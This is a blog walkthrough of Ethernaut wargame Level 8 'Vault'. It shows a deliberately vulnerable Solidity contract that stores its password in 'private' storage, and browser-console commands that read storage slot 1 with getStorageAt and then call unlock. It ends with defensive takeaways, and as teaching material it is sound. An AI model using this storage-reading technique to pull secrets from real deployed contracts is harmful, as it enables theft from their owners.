Ethernaut Level 8 Vault [Foundry-Hardhat]

Ethernaut Level 8 Vault [Foundry-Hardhat]

The Ethernaut-Solutions repository contains the solutions using Foundry and Hardhat.

Objectives

  • Unlock the vault to pass, i.e., set locked storage variables to false.

Each smart contract has its own storage space. Storage is a permanent data store for smart contracts. The data in storage persists across different function calls. Ethereum stores data in storage “slots”, which are 32-byte-sized slots. Every time you save a variable to storage, it automatically occupies the remaining space in the current slot or the next slot in the sequence. Data is stored sequentially in these slots, in order of declaration. All the data stored on the blockchain is publicly visible; anyone can read it.

Making a variable private implies that it can only be accessed in the contract in which it is declared; it does not hide the variable.

We can access the contract’s storage directly using the slot number at which the variable is declared.


Analysis

Take a look at the Vault contract.

contract Vault {
  bool public locked;          // slot 0
  bytes32 private password;    // slot 1

  constructor(bytes32 _password) {
    locked = true;
    password = _password;
  }
  function unlock(bytes32 _password) public {
    if (password == _password) {
      locked = false;
    }
  }
}

Notice in the Vault contract that the password is stored in a private variable at "slot 1." We can easily get the password by reading "slot 1" and call ` function, which unlocks the vault.


Exploit

  • Open the dev console on the browser. Get the password using web3.eth.getStorageAt(). This returns the password ni bytes32 form.

      const password = await web3.eth.getStorageAt(instance,1)
    
  • Unlock the vault

      await contract.unlock(password)
    
  • To view the actual password use a hex-to-string convertor.

      web3.utils.hexToAscii(password)
    

    This function converts the bytes32 password into a human-readable text, which reveals “A very strong secret password :)”.

  • You can check the value of locked variable by reading slot 0

      await web3.eth.getStorageAt(instance,0)  // returns false
    

    Submit the instance.

    Level passed!!!😄


Key Takeaways

  • It's important to remember that marking a variable as private only prevents other contracts from accessing it. State variables marked as private and local variables are still publicly accessible.

  • Do not store sensitive data in smart contracts.

  • When using a delegatecall with contracts with storage variables, be careful about data corruption.

  • Private functions and state variables are not visible in derived contracts; they are only accessible in the contract in which they are defined.

  • To ensure that data is private, it needs to be encrypted before being put onto the blockchain. In this scenario, the decryption key should never be sent on-chain, as it will then be visible to anyone who looks for it.


The Ethernaut-Solutions repository contains the solutions using Foundry and Hardhat.

Solution using Foundry:-

Solution using Hardhat:-

More Levels

Did you find this article valuable?

Support Chirag Patil by becoming a sponsor. Any amount is appreciated!